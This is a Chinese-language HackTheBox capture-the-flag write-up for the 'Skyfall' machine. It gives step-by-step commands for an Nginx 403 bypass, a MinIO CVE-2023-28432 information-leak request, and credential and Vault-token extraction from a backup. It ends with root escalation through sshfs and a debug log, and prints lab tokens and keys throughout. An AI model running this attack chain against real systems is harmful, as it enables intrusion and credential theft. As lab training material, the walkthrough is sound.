HackTheBox: Skyfall Write-up
分享一下當時的Rank
Enumeration
使用Nmap掃描目標開放端口
nmap -Pn -sCV 10.10.11.254
Nmap結果顯示目標開放SSH
和Web服務
訪問Web服務可以在首頁找到Demo網站 http://demo.skyfall.htb
IMPORTANT將
skyfall.htb
和demo.skyfall.htb
加入hosts
sudo nano /etc/hosts
訪問Demo網站,使用guest/guest
登入
登入後在底部可以發現後端為Flask
左側列表可以發現MinIO Metrics
點擊MinIO Metrics
回應狀態碼403,網頁伺服器Nginx
版本為1.18.0
http://demo.skyfall.htb/metrics
Foothold
NOTE繞過Nginx 403頁面的兩種方法
這裡我選擇第2種方法,使用wfuzz
模糊測試
wfuzz --sc 200 -H '{Your_Cookie}' -w '{Your_Payload}' 'http://demo.skyfall.htb/metricsFUZZ'
%0A
回應狀態碼200
訪問MinIO Metrics後,可以在底部發現MinIO版本及儲存桶
version: 2023-03-13T19:46:17Z
http://prd23-s3-backend.skyfall.htb/minio/v2/metrics/cluster
GOOGLE搜尋MinIO+版本可以找到CVE-2023-28432及利用方式
https://www.securityjoes.com/post/new-attack-vector-in-the-cloud-attackers-caught-exploiting-object-storage-services
洩漏USER和PASSWORD
curl -s -X POST http://prd23-s3-backend.skyfall.htb/minio/bootstrap/v1/verify | jq .
從min.io下載Client端
詳細操作請閱讀官方文檔
執行mc訪問儲存桶
./mc alias set minio http://prd23-s3-backend.skyfall.htb/ 5GrE1B2YGGyZzNHZaIww GkpjkmiVmpFuL2d3oRx0
./mc ls minio
列出askyy
儲存桶中檔案的所有版本
./mc ls --versions minio/askyy
指定版本複製到本地
./mc cp --vid=2b75346d-2a47-4203-ab09-3c9f878466b8 minio/askyy/home_backup.tar.gz .
列出壓縮檔內的檔案
tar -tzf home_backup.tar.gz
讀取.bashrc
取得VAULT_TOKEN
tar -xOzf home_backup.tar.gz ./.bashrc
從Vault下載Client端
詳細操作請閱讀官方文檔
設置環境變數
export VAULT_ADDR="http://prd23-vault-internal.skyfall.htb"
export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"
查詢TOKEN的詳細資訊
./vault token lookup
查詢所有路徑的權限(官方文檔)
NOTE
./vault read -format=json sys/internal/ui/resultant-acl | jq .
其中ssh/creds/dev_otp_key_role
擁有create
權限
為askyy生成SSH連線的一次性密碼(官方文檔)
./vault write ssh/creds/dev_otp_key_role ip=10.10.11.254 username=askyy
SSH連線輸入Password
Password=key
ssh -o PubkeyAuthentication=no askyy@10.10.11.254
Privilege Escalation
查詢sudo權限
sudo -l
sudo執行以下命令後會生成debug.log
sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd
查看/etc/fuse.conf
,user_allow_other
選項預設是被註解掉的
cat /etc/fuse.conf
使用sshfs掛載/home/askyy
到/tmp/pwn
mkdir /tmp/pwn
/tmp/sshfs -o allow_other askyy@127.0.0.1:/home/askyy /tmp/pwn
cd /tmp/pwn
sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd
cat debug.log
設置root
的VAULT_TOKEN
export VAULT_TOKEN="hvs.I0ewVsmaKU1SwVZAKR3T0mmG"
列出ssh/roles
./vault list ssh/roles
為root生成SSH連線的一次性密碼
./vault write ssh/creds/admin_otp_key_role ip=10.10.11.254 username=root
SSH連線輸入Password
ssh -o PubkeyAuthentication=no root@10.10.11.254